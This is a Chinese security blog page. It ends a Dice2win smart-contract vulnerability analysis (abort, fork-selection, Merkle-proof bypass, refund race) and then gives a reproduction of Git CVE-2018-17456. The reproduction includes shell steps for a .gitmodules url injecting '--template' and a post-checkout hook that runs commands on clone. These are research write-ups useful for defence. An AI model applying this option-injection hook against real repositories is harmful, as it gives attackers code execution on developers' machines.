        require (amount &gt;= MIN_BET &amp;&amp; amount &lt;= MAX_AMOUNT, "Amount should be within range.");
        require (betMask &gt; 0 &amp;&amp; betMask &lt; MAX_BET_MASK, "Mask should be within range.");

        // Check that commit is valid - it has not expired and its signature is valid.
        require (block.number &lt;= commitLastBlock, "Commit has expired.");
        bytes32 signatureHash = keccak256(abi.encodePacked(uint40(commitLastBlock), commit));
        require (secretSigner == ecrecover(signatureHash, 27, r, s), "ECDSA signature is not valid.");

        uint rollUnder;
        uint mask;

        if (modulo &lt;= MAX_MASK_MODULO) {
            // Small modulo games specify bet outcomes via bit mask.
            // rollUnder is a number of 1 bits in this mask (population count).
            // This magic looking formula is an efficient way to compute population
            // count on EVM for numbers below 2**40. For detailed proof consult
            // the dice2.win whitepaper.
            rollUnder = ((betMask * POPCNT_MULT) &amp; POPCNT_MASK) % POPCNT_MODULO;
            mask = betMask;
        } else {
            // Larger modulos specify the right edge of half-open interval of
            // winning bet outcomes.
            require (betMask &gt; 0 &amp;&amp; betMask &lt;= modulo, "High modulo range, betMask larger than modulo.");
            rollUnder = betMask;
        }

        // Winning amount and jackpot increase.
        uint possibleWinAmount;
        uint jackpotFee;

        (possibleWinAmount, jackpotFee) = getDiceWinAmount(amount, modulo, rollUnder);

        // Enforce max profit limit.
        require (possibleWinAmount &lt;= amount + maxProfit, "maxProfit limit violation.");

        // Lock funds.
        lockedInBets += uint128(possibleWinAmount);
        jackpotSize += uint128(jackpotFee);

        // Check whether contract has enough funds to process this bet.
        require (jackpotSize + lockedInBets &lt;= address(this).balance, "Cannot afford to lose this bet.");

        // Record commit in logs.
        emit Commit(commit);

        // Store bet parameters on blockchain.
        bet.amount = amount;
        bet.modulo = uint8(modulo);
        bet.rollUnder = uint8(rollUnder);
        bet.placeBlockNumber = uint40(block.number);
        bet.mask = uint40(mask);
        bet.gambler = msg.sender;
    }

    // This is the method used to settle 99% of bets. To process a bet with a specific
    // "commit", settleBet should supply a "reveal" number that would Keccak256-hash to
    // "commit". "blockHash" is the block hash of placeBet block as seen by croupier; it
    // is additionally asserted to prevent changing the bet outcomes on Ethereum reorgs.
    function settleBet(uint reveal, bytes32 blockHash) external onlyCroupier {
        uint commit = uint(keccak256(abi.encodePacked(reveal)));

        Bet storage bet = bets[commit];
        uint placeBlockNumber = bet.placeBlockNumber;

        // Check that bet has not expired yet (see comment to BET_EXPIRATION_BLOCKS).
        require (block.number &gt; placeBlockNumber, "settleBet in the same block as placeBet, or before.");
        require (block.number &lt;= placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
        require (blockhash(placeBlockNumber) == blockHash);

        // Settle bet using reveal and blockHash as entropy sources.
        settleBetCommon(bet, reveal, blockHash);
    }

主要函数为placeBet和settleBet,其中placeBet函数主要为建立赌博,而settleBet为开奖。最重要的一点就是,这里完全遵守hash-commit-reveal方案实现,随机数生成过程在服务端,整个过程如下。

  1. 用户选择好自己的下注方式,确认好后点击下注按钮。
  2. 服务端生成随机数reveal,生成本次赌博的随机数hash信息,有效最大blockNumber,并将这些数据进行签名,并将commit和信息签名传给用户。
  3. 用户将获取到的随机数hash以及lastBlockNumber等信息和下注信息打包,通过Metamask执行placebet函数交易。
  4. 服务端在一段时间之后,将带有随机数和服务端执行settlebet开奖

在原文中提到,庄家(服务端)接收到用户猜测的数字,可以选择是否中奖,选择部分对自己不利的中止,以使庄家获得更大的利润。

这的确是这类型合约最容易出现的问题,庄家依赖这种方式放大庄家获胜的概率。

上面的流程如下

而上面提到的选择中止攻击就是上面图的右边可能会出现的问题

整个流程最大的问题,就在于placebet和settlebet有强制的执行先后顺序,否则其中的一项block.number将取不到正确的数字,也正是应为如此,当用户下注,placebet函数执行时,用户的下注信息就可以被服务端获得了,此时服务端有随机数、打包placebet的block.number、下注信息,服务端可以提前计算用户是否中奖,也就可以选择是否中止这次交易。

选择开奖攻击

在原文中,提到了一个很有趣的攻击方式,在了解这种攻击方式之前,首先我们需要对区块链共识算法有所了解。

比特币区块链采用Proof of Work(PoW)的机制,这是一个叫做工作量证明的机制,提案者需要经过大量的计算才能找到满足条件的hash,当寻找到满足条件的hash反过来也证明了提案者付出的工作量。但这种情况下,可能会有多个提案者,那么就有可能出现链的分叉。区块链对这种结果的做法是,会选取最长的一条链作为最终结果。

当你计算出来的块被抛弃时,也就意味着你付出的成本白费了。所以矿工会选择更容易被保留的链继续计算下去。这也就意味着如果有人破坏,需要付出大量的经济成本。

借用一张原文中的图

在链上,计算出的b2、c5、b5、b6打包的交易都会回退,交易失败,该块不被认可。

回到Dice2win合约上,Dice2win是一个不希望可逆的交易过程,对于赌博来说,单向不可逆是一个很重要的原则。所以Dice2win新添加了MerikleProof方法来解决这个问题。

MerikleProofi方法核心在于,无论是否分叉,该分块是否会被废弃,Dice2win都认可这次交易。当服务端接收到一个下注交易(placebet)时,立刻对该区块开奖。

MerikleProofi 的commit

上面这种方法的原理和以太坊的区块结构有关,具体可以看《Not a fair game, Dice2win 公平性分析》一文中的分析,但这种方法一定程度的确解决了开奖速度的问题,甚至还减少了上面提到的选择中止攻击的难度。

但却出现了新的问题,当placebet交易被打包到分叉的多个区块中,服务端可以通过选择获利更多的那个区块接受,这样可以最大化获得的利益。但这种攻击方式效果有效,主要有几个原因:

  1. Dice2win需要有一定算力的矿池才能主动影响链上的区块打包,但大部分算力仍然掌握在公开的矿池手中。所以这种攻击方式不适用于主动攻击。
  2. 被动的遇到分叉情况并不会太多,尤其是遇到了打包了placebet的区块,该区块的hash只是多了选择,仍然是不可控的,大概率多种情况结果都是一致的。

从这种角度来看,这种攻击方式有效率有限,对大部分玩家影响较小。

任意开奖攻击(Merkle proof验证绕过)

在上面的分析中,我们详细分析了我们Merkle proof的好处以及问题所在。但如果Merkle proof机制从根本上被绕过,那么是不是就有更大的问题了。

Dice2win在之前已经出现了这类攻击 https://etherscan.io/tx/0xd3b1069b63c1393b160c65481bd48c77f1d6f2b9f4bde0fe74627e42a4fc8f81

攻击者成功构造攻击合约,通过合约调用placeBet来下赌注,并伪造Merkle proof并调用settleBetUncleMerkleProof开奖,以100%的几率控制赌博成功。

分析攻击合约可以发现该合约中的多个安全问题:

1、Dice2win是一个不断更新的合约,存在多个版本。但其中决定庄家身份的secretSigner值存在多个版本相同的问题,导致同一个签名可以在多个合约中使用。

2、placebet中对于最后一个commitlaskblock的check存在问题

用作签名的commitlastblock定义是uint256,但用作签名的只有uint40,也就是说,我们在执行placeBet的时候,可以修改高位的数字,导致某个签名信息始终有效。

3、Merkle proof边界检查不严格。

在最近的一次commit中,dice2win修复了一个漏洞是关于Merkle proofcheck的范围。

https://github.com/dice2-win/contracts/commit/b0a0412f0301623dc3af2743dcace8e86cc6036b

这里检查使Merkle proof更严格了

4、settleBet 权限问题

经过我的研究,实际上在Dice2win的游戏逻辑中,settleBet应该是只有服务端才能调用的(只有庄家才能开奖),但在之前的版本中,并没有这样的设置。

在新版本中,settleBet加入了这个限制。

这里绕过Merkle proof的方法就不再赘述了,有兴趣可以看看原文。

refundBet下溢

感谢@Zhiniang Peng from Qihoo 360 Core Security 提出了我这里的问题,最开始理解有所偏差导致错误的结论。

原文中最后提到了一个refundBet函数的下溢,让我们来看看这个函数的代码

跟入getDiceWinAmount函数,发现jackpotFee并不可控

其中JACKPOT_FEE = 0.001 ether,且要保证amount大于0.1 ether,amount来自bet变量

而bet变量只有在placebet中可以被设置。

但可惜的是,placebet中会进行一次相同的调用

所以我们无法构造一个完整的攻击过程。

但我们回到refundBet函数中,我们无法控制jackpotFee,那么我们是不是可以控制jackpotSize呢

首先我们需要理解一下,jackpotSize是做什么,在Dice2win的规则中,除了本身的规则以外,还有一份额外的大奖,是从上次大奖揭晓之后的交易抽成累积下来的。

如果有人中了大奖,那么这个值就会清零。

但这里就涉及竞争了,完整的利用流程如下:

  1. 攻击者a下注placebet,并获得commit
  2. 某个好运的用户在a下注开奖前拿走了大奖
  3. 攻击者调用refundBet退款
  4. jackpotSize成功溢出

总结

在回溯分析完整个Dice2win合约之后,我们不难发现,由于智能合约和传统的服务端逻辑不同,导致许多我们惯用的安全思路遇到了更多问题,区块链的不可信原则直接导致了随机数生成方式的难度加深。目前最为成熟的hash-commit-reveal方法是属于通过服务端与智能合约交互实现的,在随机数保密方面完成度很高,可惜的是无法避免服务端获取过多信息的问题。

hash-commit-reveal方法的基础上,只要服务端不能即时响应开奖,选择中止攻击就始终存在。有趣的是Dice2win合约中试图实现的Merkle proof功能初衷是为了更快的开奖,但反而却在一定程度上减少了选择中止攻击的可能性。

任意开奖攻击,是一个针对Merkle proof的攻击方式,应验了所谓的功能越多漏洞越多的问题。攻击方式精巧,是一种很有趣的利用方式。

就目前为止,无论是底层的机制也好,又或是随机数的生成方式也好,智能合约的安全还有很长的路要走。


 

Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/717/

原文阅读

Git Submodule 漏洞(CVE-2018-17456)分析
Elfinx 2018-10-18 2:46 转存
作者:Hcamael@知道创宇404实验室
国庆节的时候,Git爆了一个RCE的漏洞,放假回来进行应急,因为公开的相关资料比较少,挺头大的,搞了两天,RCE成功了

收集资料

一开始研究这个漏洞的时候,网上公开的资料非常少,最详细的也就github blog[1]的了。

得知发现该漏洞的作者是@joernchen, 去翻了下他的twitter,找到了一篇还算有用的推文:

另外在twitter搜索CVE-2018-17456,得到一篇@_staaldraad验证成功的推文:

可惜打了马赛克,另外还通过Google也零零散散找到一些有用的信息(url都找不到了),比如该漏洞无法在Windows上复现成功,因为:在Windows上不是有效的文件名。

研究分析

网上资料太少,只凭这点资料无法完成该漏洞的复现,所以只能自己通过源码、调试进行测试研究了。

使用woboq_codebrowser生成了git v2.19.1最新版的源码[2],方便审计。

通过源码发现在git命令前使用GIT_TRACE=1能开启git自带的命令跟踪,跟踪git的run_command

首先创建一个源,并创建其子模块(使用git v2.19.0进行测试):

$ git --version
git version <span class="m">2</span>.19.0.271.gfe8321e.dirty
$ mkdir evilrepo
$ <span class="nb">cd</span> evilrepo/
$ git init .
Initialized empty Git repository in /home/ubuntu/evilrepo/.git/
$ git submodule add https://github.com/Hcamael/hello-world.git test1
Cloning into <span class="s1">'/home/ubuntu/evilrepo/test1'</span>...
remote: Enumerating objects: <span class="m">3</span>, <span class="k">done</span>.
remote: Counting objects: <span class="m">100</span>% <span class="o">(</span><span class="m">3</span>/3<span class="o">)</span>, <span class="k">done</span>.
remote: Total <span class="m">3</span> <span class="o">(</span>delta <span class="m">0</span><span class="o">)</span>, reused <span class="m">0</span> <span class="o">(</span>delta <span class="m">0</span><span class="o">)</span>, pack-reused <span class="m">0</span>
Unpacking objects: <span class="m">100</span>% <span class="o">(</span><span class="m">3</span>/3<span class="o">)</span>, <span class="k">done</span>.
$ cat .gitmodules
<span class="o">[</span>submodule <span class="s2">"test1"</span><span class="o">]</span>
    <span class="nv">path</span> <span class="o">=</span> test1
    <span class="nv">url</span> <span class="o">=</span> https://github.com/Hcamael/hello-world.git

从搜集到的资料看,可以知道,该漏洞的触发点是url参数,如果使用-开始则会被解析成参数,所以尝试修改url

$ cat .gitmodules
<span class="o">[</span>submodule <span class="s2">"test1"</span><span class="o">]</span>
    <span class="nv">path</span> <span class="o">=</span> test1
    <span class="nv">url</span> <span class="o">=</span> -test
$ rm -rf .git/modules/test1/
$ rm test1/.git
修改.git/config
$ cat .git/config
<span class="o">[</span>core<span class="o">]</span>
    <span class="nv">repositoryformatversion</span> <span class="o">=</span> <span class="m">0</span>
    <span class="nv">filemode</span> <span class="o">=</span> <span class="nb">true</span>
    <span class="nv">bare</span> <span class="o">=</span> <span class="nb">false</span>
    <span class="nv">logallrefupdates</span> <span class="o">=</span> <span class="nb">true</span>

这里可以选择把submodule的数据删除,可以可以选择直接修改url

$ cat .git/config
<span class="o">[</span>core<span class="o">]</span>
    <span class="nv">repositoryformatversion</span> <span class="o">=</span> <span class="m">0</span>
    <span class="nv">filemode</span> <span class="o">=</span> <span class="nb">true</span>
    <span class="nv">bare</span> <span class="o">=</span> <span class="nb">false</span>
    <span class="nv">logallrefupdates</span> <span class="o">=</span> <span class="nb">true</span>
<span class="o">[</span>submodule <span class="s2">"test1"</span><span class="o">]</span>
    <span class="nv">active</span> <span class="o">=</span> <span class="nb">true</span>
    <span class="nv">url</span> <span class="o">=</span> -test
$ <span class="nv">GIT_TRACE</span><span class="o">=</span><span class="m">1</span> git submodule update --init

从输出结果中,我们可以看到一句命令:

git.c:415               trace: built-in: git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/test1 -test /home/ubuntu/evilrepo/test1
error: unknown switch `t'

我们设置的-testgit clone识别为-t参数,漏洞点找到了,下面需要考虑的是,怎么利用git clone参数执行命令?

继续研究,发现git有处理特殊字符,比如空格:

$ cat .git/config
<span class="o">[</span>core<span class="o">]</span>
    <span class="nv">repositoryformatversion</span> <span class="o">=</span> <span class="m">0</span>
    <span class="nv">filemode</span> <span class="o">=</span> <span class="nb">true</span>
    <span class="nv">bare</span> <span class="o">=</span> <span class="nb">false</span>
    <span class="nv">logallrefupdates</span> <span class="o">=</span> <span class="nb">true</span>
<span class="o">[</span>submodule <span class="s2">"test1"</span><span class="o">]</span>
    <span class="nv">active</span> <span class="o">=</span> <span class="nb">true</span>
    <span class="nv">url</span> <span class="o">=</span> -te st

$ <span class="nv">GIT_TRACE</span><span class="o">=</span><span class="m">1</span> git submodule update --init
.....
git.c:415               trace: built-in: git submodule--helper clone --path test1 --name test1 --url <span class="s1">'-te st'</span>
.....
git.c:415               trace: built-in: git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/test1 <span class="s1">'-te st'</span> /home/ubuntu/evilrepo/test1
.....

如果有特殊字符,则会加上单引号

翻了下源码,找到了过滤的函数[3],是一个白名单过滤

只有大小写字母,数字和下面这几种特殊字符才不会加上单引号:

static const char ok_punct[] = "+,-./:=@_^";

感觉这空格是绕不过了(反正我绕不动)

接下来继续研究如果利用参数进行命令执行

在翻twitter的过程中还翻到了之前一个Git RCE(CVE-2018-11235)[4]的文章,发现是利用hook来达到RCE的效果,在结合之前@_staaldraad验证成功的推文

可以很容易的想到一个方法,不过在讲这个方法前,先讲一些git submodule的基础知识点吧

git submodule机制简单讲解

首先看看.gitmodules的几个参数:

<span class="k">[submodule "test1"]</span>
    <span class="na">path</span> <span class="o">=</span> <span class="s">test2</span>
<span class="s">    url = test3</span>

test1表示的是submodule name,使用的参数是--name,子项目.git目录的数据会被储存到.git/modules/test1/目录下

test2表示的是子项目储存的路径,表示子项目的内容将会被储存到./test2/目录下

test3这个就很好理解,就是子项目的远程地址,如果是本地路径,就是拉去本地源

把本地项目push到远程,是无法把.git目录push上去的,只能push .gitmodules文件和test2目录

那么远程怎么识别该目录为submodule呢?在本地添加submodule的时候,会在test2目录下添加一个.git文件(在前面被我删除了,可以重新添加一个查看其内容)

$ cat test2/.git
gitdir: ../.git/modules/test1

指向的是该项目的.git路径,该文件不会被push到远程,但是在push的时候,该文件会让git识别出该目录是submodule目录,该目录下的其他文件将不会被提交到远程,并且在远程为该文件创建一个链接,指向submodule地址:

(我个人体会,可以看成是Linux下的软连接)

这个软连接是非常重要的,如果远程test2目录没有该软连接,.gitmodules文件中指向该路径的子项目在给clone到本地时(加了--recurse-submodules参数),该子项目将不会生效。

理解了submodule大致的工作机制后,就来说说RCE的思路

我们可以把url设置为如下:

url = --template=./template

这是一个模板选项,详细作用自己搜下吧

在设置了该选项的情况下,把子项目clone到本地时,子项目的.git目录被放到.git/modules/test1目录下,然后模板目录中,规定的几类文件也会被copy到.git/modules/test1目录下。这几类文件其中就是hook

所以,只有我们设置一个./template/hook/post-checkout,给post-checkout添加可执行权限,把需要执行的命令写入其中,在子项目执行git chekcout命令时,将会执行该脚本。

$ mkdir -p fq/hook
$ cat fq/hook/post-checkout
<span class="c1">#!/bin/sh</span>

date
<span class="nb">echo</span> <span class="s1">'PWNED'</span>
$ chmod +x fq/hook/post-checkout
$ ll
total <span class="m">24</span>
drwxrwxr-x  <span class="m">5</span> ubuntu ubuntu <span class="m">4096</span> Oct <span class="m">12</span> <span class="m">16</span>:48 ./
drwxr-xr-x <span class="m">16</span> ubuntu ubuntu <span class="m">4096</span> Oct <span class="m">12</span> <span class="m">16</span>:48 ../
drwxrwxr-x  <span class="m">3</span> ubuntu ubuntu <span class="m">4096</span> Oct <span class="m">12</span> <span class="m">16</span>:47 fq/
drwxrwxr-x  <span class="m">8</span> ubuntu ubuntu <span class="m">4096</span> Oct <span class="m">12</span> <span class="m">15</span>:59 .git/
-rw-rw-r--  <span class="m">1</span> ubuntu ubuntu   <span class="m">57</span> Oct <span class="m">12</span> <span class="m">16</span>:48 .gitmodules
drwxrwxr-x  <span class="m">2</span> ubuntu ubuntu <span class="m">4096</span> Oct <span class="m">12</span> <span class="m">16</span>:46 test2/
$ cat .gitmodules
<span class="o">[</span>submodule <span class="s2">"test1"</span><span class="o">]</span>
    <span class="nv">path</span> <span class="o">=</span> test2
    <span class="nv">url</span> <span class="o">=</span> --template<span class="o">=</span>./fq
$ <span class="nv">GIT_TRACE</span><span class="o">=</span><span class="m">1</span> git submodule update --init

设置好了PoC,再试一次,发现还是报错失败,主要问题如下:

git.c:415               trace: built-in: git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/test1 --template=./fq /home/ubuntu/evilrepo/test2
fatal: repository '/home/ubuntu/evilrepo/test2' does not exist
fatal: clone of '--template=./fq' into submodule path '/home/ubuntu/evilrepo/test2' failed

来解析下该命令:

git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/{name} {url} /home/ubuntu/evilrepo/{path}

我们把{url}设置为参数以后,/home/ubuntu/evilrepo/{path}就变成源地址了,该地址被判断为本地源目录,所以会查找该目录下的.git文件,但是之前说了,因为该目录被远程设置为软连接,所以clone到本地不会有其他文件,所以该目录是不可能存在.git目录的,因此该命令执行失败

再来看看是什么命令调用的该命令:

git.c:415               trace: built-in: git submodule--helper clone --path test2 --name test1 --url --template=./fq

解析下该命令:

git submodule--helper clone --path {path} --name {name} --url {url}

path, name, url都是我们可控的,但是都存在过滤,过滤规则同上面说的url白名单过滤规则。

该命令函数 -> [5]

我考虑过很多,path或name设置成--url=xxxxx

都失败了,因为--path--name参数之后没有其他数据了,所以--url=xxxx都会被解析成name或path,这里就缺一个空格,但是如果存在空格,该数据则会被加上单引号,目前想不出bypass的方法

所以该命令的利用上毫无进展。。。。

所以关注点又回到了上一个git clone命令上:

git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/{name} {url} /home/ubuntu/evilrepo/{path}

strbuf_addf(&amp;sb, "%s/modules/%s", get_git_dir(), name);
sm_gitdir = absolute_pathdup(sb.buf);

/home/ubuntu/evilrepo/.git/modules/{name}路径是直接使用上面代码进行拼接,也找不到绕过的方法

最后就是/home/ubuntu/evilrepo/{path},如果git能把这个解析成远程地址就好了,所以想了个构造思路:/home/ubuntu/evilrepo/git@github.com:Hcamael/hello-world.git

但是失败了,还是被git解析成本地路径,看了下path的代码:

if (!is_absolute_path(path)) {
        strbuf_addf(&amp;sb, "%s/%s", get_git_work_tree(), path);
        path = strbuf_detach(&amp;sb, NULL);
    } else
        path = xstrdup(path);

因为git@github.com:Hcamael/hello-world.git被判断为非绝对路径,所以在前面加上了当前目录的路径,到这就陷入了死胡同了找不到任何解决办法

RCE

在不断的研究后发现,path=git@github.com:Hcamael/hello-world.git在低版本的git中竟然执行成功了。

首先看图:

使用的是ubuntu 16.04,默认的git是2.7.4,然后查了下该版本git的源码,发现该版本中并没有下面这几行代码

if (!is_absolute_path(path)) {
        strbuf_addf(&amp;sb, "%s/%s", get_git_work_tree(), path);
        path = strbuf_detach(&amp;sb, NULL);
    } else
        path = xstrdup(path);

所以构造的命令变成了:

$ git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/test1 --template<span class="o">=</span>./fq git@github.com:Hcamael/hello-world.git

之后把我执行成功的结果和@_staaldraad推文中的截图进行对比,发现几乎是一样的,所以猜测这个人复现的git环境也是使用低版本的git

总结

之后翻了下git的提交历史,发现2016年就已经添加了对path是否是绝对路径的判断。根据我的研究结果,CVE-2018-17456漏洞可以造成git选项参数注入,但是只有低版本的git才能根据该CVE造成RCE的效果。

引用

  1. https://blog.github.com/2018-10-05-git-submodule-vulnerability/
  2. https://0x48.pw/git/
  3. https://0x48.pw/git/git/quote.c.html#sq_quote_buf_pretty
  4. https://staaldraad.github.io/post/2018-06-03-cve-2018-11235-git-rce/
  5. https://0x48.pw/git/git/builtin/submodule--helper.c.html#module_clone

 

Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/716/

原文阅读

本站作者

每日荐书

在不完美的世界力求正常——读《公司的坏话》

书名:《公司的坏话》

作者:李天田(脱不花妹妹)

出版社:北京大学出版社

赞助商

广告